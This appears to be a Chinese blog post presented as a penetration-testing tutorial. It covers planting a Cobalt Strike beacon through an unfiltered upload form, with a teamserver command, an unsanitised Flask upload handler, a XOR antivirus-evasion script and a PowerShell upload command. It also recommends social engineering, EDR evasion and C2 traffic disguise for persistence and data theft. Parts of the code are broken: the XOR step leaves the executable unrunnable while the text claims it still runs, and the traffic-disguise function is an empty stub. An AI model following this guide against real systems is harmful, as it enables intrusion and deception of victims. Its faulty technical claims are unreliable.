0x01 突破口:一次无意间的发现

有一次,我在进行一次授权的渗透测试时,发现目标系统中有一个未经过滤的上传功能,不禁让我想起了Cobalt Strike这个强大的工具。在我的经验中,它总能在关键时刻帮助我成功上线并进行后续操作。于是,我立刻开始构思如何利用这个突破口将Cobalt Strike成功植入到目标系统。

当时我的目标是通过这个上传功能上传一个初始的Cobalt Strike payload,然后利用这个payload与我的C2服务器进行通信,从而在目标系统上成功获得一个上线beacon。为了确保这一操作顺利进行,我首先进行了详细的信息收集,确认了目标环境是否容许外部通信,以及是否有需要绕过的防护措施。

0x02 实战环境:搭建与准备

在展开行动之前,我需要一个完整的测试环境来模拟目标系统的运作特性。确保在实际操作中不会出现意外情况。我使用了以下配置:

  • 攻击机:Kali Linux,预装Cobalt Strike
  • 目标机:Windows 10,搭建一个模拟的文件上传服务
  • C2服务器:使用Docker快速部署一个Flask应用,充当C2服务器

首先,我启动了Cobalt Strike并配置了监听器。监听器是Cobalt Strike中的关键组件,它负责接收来自目标机的beacon通信。在设置监听器时,需要选择合适的通信协议,例如HTTP或HTTPS,以及对应的端口号。这里我选择了HTTP协议,端口设为8080,因为某些防火墙可能会对HTTPS流量进行严格检查,而HTTP则相对宽松。

<pre><code class="language-bash"># 在攻击机上启动 Cobalt Strike ./teamserver my-red-team-server mypassword

配置监听器

注意,这里假设Cobalt Strike已经安装并在teamserver上运行

在Cobalt Strike的GUI中完成配置,选择HTTP协议,端口8080</code></pre>

接下来,在目标机上搭建一个文件上传服务。我们可以使用简单的Python Flask应用来实现。这让我们可以完全掌控上传文件的处理逻辑,为后续的payload上传提供便利。

<pre><code class="language-python">from flask import Flask, request, render_template import os

app = Flask(__name__)

@app.route(&#039;/&#039;) def index(): return render_template(&#039;upload.html&#039;)

黑客示意图

@app.route(&#039;/upload&#039;, methods=[&#039;POST&#039;]) def upload_file(): file = request.files[&#039;file&#039;] if file: filename = file.filename file.save(os.path.join(&#039;uploads&#039;, filename)) return &#039;File uploaded successfully&#039; return &#039;Failed to upload file&#039;

if __name__ == &#039;__main__&#039;: app.run(port=5000)</code></pre>

通过上述代码,我们在目标机上创建了一个简单的文件上传服务,使得我们可以通过HTTP POST请求来上传文件。接下来,就是构造Cobalt Strike的payload并上传。

0x03 Payload构造的艺术:量身定制

黑客示意图

在这个阶段,我的目标是确保上传的payload足够隐蔽,以成功绕过目标机器上的防御机制。我选择使用Cobalt Strike生成一个自定义的隔离beacon payload。为了进一步提高payload的隐蔽性,我采取了一些免杀技术,包括混淆和加壳。

黑客示意图

首先,在Cobalt Strike中生成基本的beacon payload:

<pre><code class="language-shell"># 使用 Cobalt Strike 生成基础的 payload

在Cobalt Strike GUI中,使用&quot;Attacks&quot; -&gt; &quot;Packages&quot; -&gt; &quot;Windows Executable (S)&quot;生成 payload

选择监听器为刚刚配置的HTTP 8080</code></pre>

生成的基础payload需要进一步处理。这时,我采用了一些Python脚本进行混淆处理。混淆的目标是让静态分析工具难以识别payload的真实意图。

<pre><code class="language-python">def obfuscate_payload(payload_path): with open(payload_path, &#039;rb&#039;) as f:

读取原始payload

original_payload = f.read()

对payload进行简单混淆

obfuscated_payload = bytearray(original_payload) for i in range(len(obfuscated_payload)): obfuscated_payload[i] ^= 0x55 # 使用简单的XOR操作进行混淆

保存混淆后的payload

obfuscated_path = payload_path.replace(&#039;.exe&#039;, &#039;_obfuscated.exe&#039;) with open(obfuscated_path, &#039;wb&#039;) as f: f.write(obfuscated_payload)

print(f&#039;Payload obfuscated and saved to {obfuscated_path}&#039;) return obfuscated_path

obfuscate_payload(&#039;beacon.exe&#039;)</code></pre>

通过以上的Python脚本,我们成功对beacon payload进行了混淆处理,使得其在二进制层面上难以被直接检测。

在上传阶段,我们利用目标的上传功能将混淆后的payload上传至目标系统。

<pre><code class="language-powershell"># 使用 PowerShell 上传混淆后的 payload $FilePath = &quot;C:\path\to\beacon_obfuscated.exe&quot; $Uri = &quot;http://target-system:5000/upload&quot; Invoke-RestMethod -Uri $Uri -Method Post -InFile $FilePath -ContentType &quot;multipart/form-data&quot;

Write-Host &quot;Payload uploaded successfully&quot;</code></pre>

这段PowerShell代码负责将处理后的payload上传到目标的文件上传服务,确保我们的payload在目标机器上能够顺利执行。

0x04 隐秘上线:从目标到控制

完成上传后,关键的步骤就是使目标执行上传的payload,从而与我的Cobalt Strike服务器产生通信。通常情况下,这可以通过诱使目标用户执行某个操作来实现,例如打开一个特定的文件或点击某个链接。

在实战中,我通过社会工程手段诱使目标执行上传的payload。成功执行后,便可以在Cobalt Strike的控制台中看到上线的beacon。如果目标存在某些执行限制,比如UAC高权限限制,可以通过exploit技术进一步提升权限。

<pre><code class="language-shell"># 在Cobalt Strike中观察上线的 beacon

使用 &quot;View&quot; -&gt; &quot;Beacons&quot; 查看当前上线的设备</code></pre>

上线后,我可以使用Cobalt Strike提供的各种模块进行后续的渗透活动,包括内网横向移动、权限提升和数据窃取等。

0x05 对抗与免杀:与防守者的博弈

在免杀与对抗方面,我始终保持警惕,时刻关注目标环境的变化。有一次,我的payload在执行时被目标系统的EDR工具识别并阻止。为此,我调整了脱壳策略,并在代码中加入模拟合法行为的混淆代码。

此外,我还针对目标环境的特定防御机制进行调整,例如通过分析目标的流量过滤策略,调整C2通信的协议和频率,使得流量看起来像是正常的应用数据。

<pre><code class="language-python"># 在生成 payload 时进行协议伪装 def create_custom_beacon():

使用特定协议进行通信伪装

模拟合法的DNS查询行为

pass

create_custom_beacon()</code></pre>

通过不断调整和优化,我的payload最终能够成功绕过目标的防御机制,实现稳定上线。

0x06 个人经验分享:来自实战的思考

在我的多次渗透测试经历中,使用Cobalt Strike进行上线操作已成常规。其强大的工具集成和灵活的使用策略,总能给我带来惊喜。以下是我一些实战中总结的经验:

  1. 信息收集至关重要:在进行任何渗透之前,全面的信息收集可以为后续操作提供战略指导。
  1. 免杀技术要不断更新:随着防御机制的不断升级,免杀技术也需要不断创新,始终保持领先。
  1. 社会工程是关键:在许多情况下,社会工程技术是成功上线的关键,通过心理学和行为学的结合,可以有效引导目标执行操作。
  1. 流量伪装不可忽视:在长期对抗中,是否能够成功伪装流量往往决定着能否维持控制。
  1. 不断学习与更新:网络安全领域变化迅速,保持学习并探索新技术是每一个渗透测试者的必修课。

黑客示意图

通过这次分享,希望能够为大家提供一些实战中的思考和策略,帮助大家更好地运用Cobalt Strike进行渗透测试。记住,所有操作必须在合法授权环境中进行,切勿用于非法用途。